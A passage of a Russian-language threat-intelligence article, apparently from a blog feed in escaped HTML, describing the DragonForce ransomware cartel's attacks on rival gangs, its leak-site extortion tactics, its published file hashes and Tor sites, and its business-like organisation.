  &lt;p id=&quot;EgJY&quot;&gt;После объявления о создании картеля DragonForce начал активно отстаивать позиции. Первым ударом стала атака на конкурентов из **BlackLock** — их сайт утечек был взломан и дефейснут с подписью DragonForce. Через несколько недель группа предприняла попытку захвата инфраструктуры **RansomHub**, что вызвало масштабный конфликт и миграцию аффилиатов к другим картелям, включая Qilin.&lt;/p&gt;
  &lt;p id=&quot;zrVQ&quot;&gt;Эти эпизоды показывают, что подпольный рынок всё чаще напоминает борьбу корпораций: не только конкуренция за клиентов, но и открытые «враждебные поглощения».&lt;/p&gt;
  &lt;h3 id=&quot;k4KC&quot;&gt;Адаптация и развитие&lt;/h3&gt;
  &lt;p id=&quot;rxc1&quot;&gt;После публикации статьи на Habr, где специалисты описали уязвимости шифра Akira, разработчики DragonForce быстро внесли исправления, устранив похожие проблемы в своём коде. Это говорит о высоком уровне организации — за проектом стоят не одиночки, а целая команда инженеров, готовых оперативно реагировать на внешние отчёты.&lt;/p&gt;
  &lt;p id=&quot;H64v&quot;&gt;Эта способность к быстрой адаптации и постоянное обновление делают DragonForce одной из самых устойчивых угроз последних лет.&lt;/p&gt;
  &lt;h3 id=&quot;AVLR&quot;&gt; Масштаб атак и последствия&lt;/h3&gt;
  &lt;p id=&quot;09Ja&quot;&gt;С конца 2023 года на сайте утечек картеля появилось более **двух сотен записей** о жертвах. Среди них — крупные компании из розничной торговли, страхования, авиаперевозок, IT-услуг и управляемых сервисов. Каждая публикация сопровождается образцами похищенных файлов и отсчётом времени до полной публикации.&lt;/p&gt;
  &lt;p id=&quot;eXEU&quot;&gt;Некоторые жертвы пытались вести переговоры, другие обращались в правоохранительные органы, но практика показывает, что даже после оплаты выкупа данные нередко остаются в распоряжении злоумышленников. DragonForce строит стратегию давления на репутацию: публикует логотипы, выдержки из документов, внутренние переписки. Всё это усиливает эффект страха и стимулирует другие компании платить быстрее.&lt;/p&gt;
  &lt;h3 id=&quot;x8W7&quot;&gt;Артефакты и следы&lt;/h3&gt;
  &lt;p id=&quot;UFhv&quot;&gt;Аналитики Acronis собрали десятки исполнимых файлов PE и ELF, связанных с DragonForce. Среди них разные версии шифровальщика и утилиты для сбора данных. Хэши этих файлов опубликованы в отчётах, что помогает системным администраторам строить детекторы.&lt;/p&gt;
  &lt;p id=&quot;vdxx&quot;&gt;В сети Tor действует несколько связанных сайтов: портал &lt;strong&gt;DragonNews&lt;/strong&gt;, где публикуются утечки и пресс-релизы, и панели переговоров, к которым доступ получают только жертвы. Такая структура повторяет модель Conti, но теперь она оформлена как полноценная экосистема с чёткой иерархией.&lt;/p&gt;
  &lt;h3 id=&quot;mH7G&quot;&gt;Новый тип преступной экономики&lt;/h3&gt;
  &lt;p id=&quot;ZToq&quot;&gt;DragonForce показал, что эпоха одиночных вымогателей уходит. На смену приходят &lt;strong&gt;картели&lt;/strong&gt;, выстроенные по принципам бизнеса: партнёрские программы, брендинг, PR-кампании и даже внутренние правила этики.&lt;/p&gt;
  &lt;p id=&quot;ZPus&quot;&gt;Используя код Conti и гибкую организационную модель, DragonForce сумел создать платформу, где каждый участник получает свою долю прибыли и независимость действий. Партнёрство со Scattered Spider и другими акторами превратило картель в одну из самых заметных сил киберподполья.&lt;/p&gt;
  &lt;p id=&quot;Y94k&quot;&gt;Сочетание социальной инженерии, BYOVD-эксплойтов, активного маркетинга и способности быстро адаптироваться делает DragonForce не просто угрозой, а примером новой экономической формации в мире киберпреступности.&lt;/p&gt;
  &lt;p id=&quot;CSGE&quot;&gt;Если тенденция продолжится, то ближайшие годы могут стать временем консолидации цифрового подполья, где под едиными «брендами» будут действовать десятки автономных команд. DragonForce, судя по всему, уже занял своё место в этой системе — как картель, у которого есть не только сила, но и стратегия.&lt;br /&gt;&lt;/p&gt;

</content></entry></feed>